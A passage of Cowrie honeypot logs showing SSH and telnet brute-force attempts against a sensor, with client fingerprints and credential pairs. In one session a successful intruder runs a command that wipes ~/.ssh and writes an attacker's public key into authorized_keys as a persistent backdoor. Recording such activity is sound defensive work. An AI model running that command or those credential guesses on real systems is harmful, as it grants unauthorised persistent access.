a2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:45.731562Z","src_ip":"202.145.0.61","session":"9878a1d3f5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456789","message":"login attempt [user/user123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:46.719398Z","src_ip":"202.145.0.61","session":"9878a1d3f5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.310103178024292,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:47.602690Z","src_ip":"174.138.46.234","session":"d7833fbcf586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.012744426727295,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:47.797350Z","src_ip":"174.138.46.234","session":"23cb72bc0368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:47.961547Z","src_ip":"202.145.0.61","session":"9878a1d3f5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.85094141960144,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:49.314778Z","src_ip":"174.138.46.234","session":"dde008565e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.818527460098267,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:42:49.476456Z","src_ip":"174.138.46.234","session":"e21fd1e53272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54140,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c5404599fa","protocol":"telnet","message":"New connection: 174.138.46.234:54140 (159.203.135.109:23) [session: 74c5404599fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:21.222971Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54514,"dst_ip":"159.203.135.109","dst_port":23,"session":"783109303179","protocol":"telnet","message":"New connection: 174.138.46.234:54514 (159.203.135.109:23) [session: 783109303179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:22.393721Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54608,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecacfcd88f1b","protocol":"telnet","message":"New connection: 174.138.46.234:54608 (159.203.135.109:23) [session: ecacfcd88f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:22.653111Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55228,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed26da17df10","protocol":"telnet","message":"New connection: 174.138.46.234:55228 (159.203.135.109:23) [session: ed26da17df10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:24.774539Z"}
{"eventid":"cowrie.session.closed","duration":4.955089569091797,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:27.348731Z","src_ip":"174.138.46.234","session":"783109303179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.238805532455444,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:27.461668Z","src_ip":"174.138.46.234","session":"74c5404599fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.855096817016602,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:27.508093Z","src_ip":"174.138.46.234","session":"ecacfcd88f1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e817159e42","protocol":"telnet","message":"New connection: 23.111.140.22:33368 (10.17.0.5:23) [session: f1e817159e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:29.283223Z"}
{"eventid":"cowrie.session.closed","duration":49.4123592376709,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:30.509967Z","src_ip":"174.138.46.234","session":"ec0ab21ab9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.759654998779297,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:30.534064Z","src_ip":"174.138.46.234","session":"ed26da17df10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":55448,"dst_ip":"10.17.0.5","dst_port":22,"session":"587ce927551a","protocol":"ssh","message":"New connection: 135.235.138.43:55448 (10.17.0.5:22) [session: 587ce927551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:43.350900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:43.355648Z","src_ip":"135.235.138.43","session":"587ce927551a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:43.543734Z","src_ip":"135.235.138.43","session":"587ce927551a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:44.327625Z","src_ip":"135.235.138.43","session":"587ce927551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:43:45.518613Z","src_ip":"135.235.138.43","session":"587ce927551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.86860775947571,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:02.151665Z","src_ip":"23.111.140.22","session":"f1e817159e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43210,"dst_ip":"159.203.135.109","dst_port":23,"session":"418c625d5500","protocol":"telnet","message":"New connection: 174.138.46.234:43210 (159.203.135.109:23) [session: 418c625d5500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:22.048230Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43696,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ffa18fe2be","protocol":"telnet","message":"New connection: 174.138.46.234:43696 (159.203.135.109:23) [session: 08ffa18fe2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:23.688831Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43428,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f62c663534","protocol":"telnet","message":"New connection: 174.138.46.234:43428 (159.203.135.109:23) [session: 94f62c663534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:23.826906Z"}
{"eventid":"cowrie.session.closed","duration":4.890111684799194,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:28.716937Z","src_ip":"174.138.46.234","session":"94f62c663534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.704050779342651,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:29.392769Z","src_ip":"174.138.46.234","session":"08ffa18fe2be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":47416,"dst_ip":"10.17.0.5","dst_port":22,"session":"45edf5299223","protocol":"ssh","message":"New connection: 135.235.138.43:47416 (10.17.0.5:22) [session: 45edf5299223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:44.253847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:44.258459Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:44.451564Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oralce","message":"login attempt [oracle/oralce] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:45.256056Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:45.696606Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:45.700297Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:45.704489Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:45.902348Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.331737Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.335133Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.533154Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.536854Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":47418,"dst_ip":"10.17.0.5","dst_port":22,"session":"c091281f7411","protocol":"ssh","message":"New connection: 135.235.138.43:47418 (10.17.0.5:22) [session: c091281f7411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.718034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.723218Z","src_ip":"135.235.138.43","session":"c091281f7411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:46.911750Z","src_ip":"135.235.138.43","session":"c091281f7411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:47.695335Z","src_ip":"135.235.138.43","session":"c091281f7411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:48.886620Z","src_ip":"135.235.138.43","session":"c091281f7411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":47422,"dst_ip":"10.17.0.5","dst_port":22,"session":"8355722a8bc9","protocol":"ssh","message":"New connection: 135.235.138.43:47422 (10.17.0.5:22) [session: 8355722a8bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:49.064353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:49.071454Z","src_ip":"135.235.138.43","session":"8355722a8bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:49.285022Z","src_ip":"135.235.138.43","session":"8355722a8bc9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:50.066542Z","src_ip":"135.235.138.43","session":"8355722a8bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:50.256544Z","src_ip":"135.235.138.43","session":"8355722a8bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:44:50.262205Z","src_ip":"135.235.138.43","session":"45edf5299223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.97552537918091,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:09.023538Z","src_ip":"174.138.46.234","session":"418c625d5500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abe2361e4e1","protocol":"telnet","message":"New connection: 174.138.46.234:34648 (159.203.135.109:23) [session: 4abe2361e4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:32.362973Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35224,"dst_ip":"159.203.135.109","dst_port":23,"session":"3589f748d192","protocol":"telnet","message":"New connection: 174.138.46.234:35224 (159.203.135.109:23) [session: 3589f748d192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:34.291349Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35360,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec97e26560c8","protocol":"telnet","message":"New connection: 174.138.46.234:35360 (159.203.135.109:23) [session: ec97e26560c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:45:35.917911Z"}
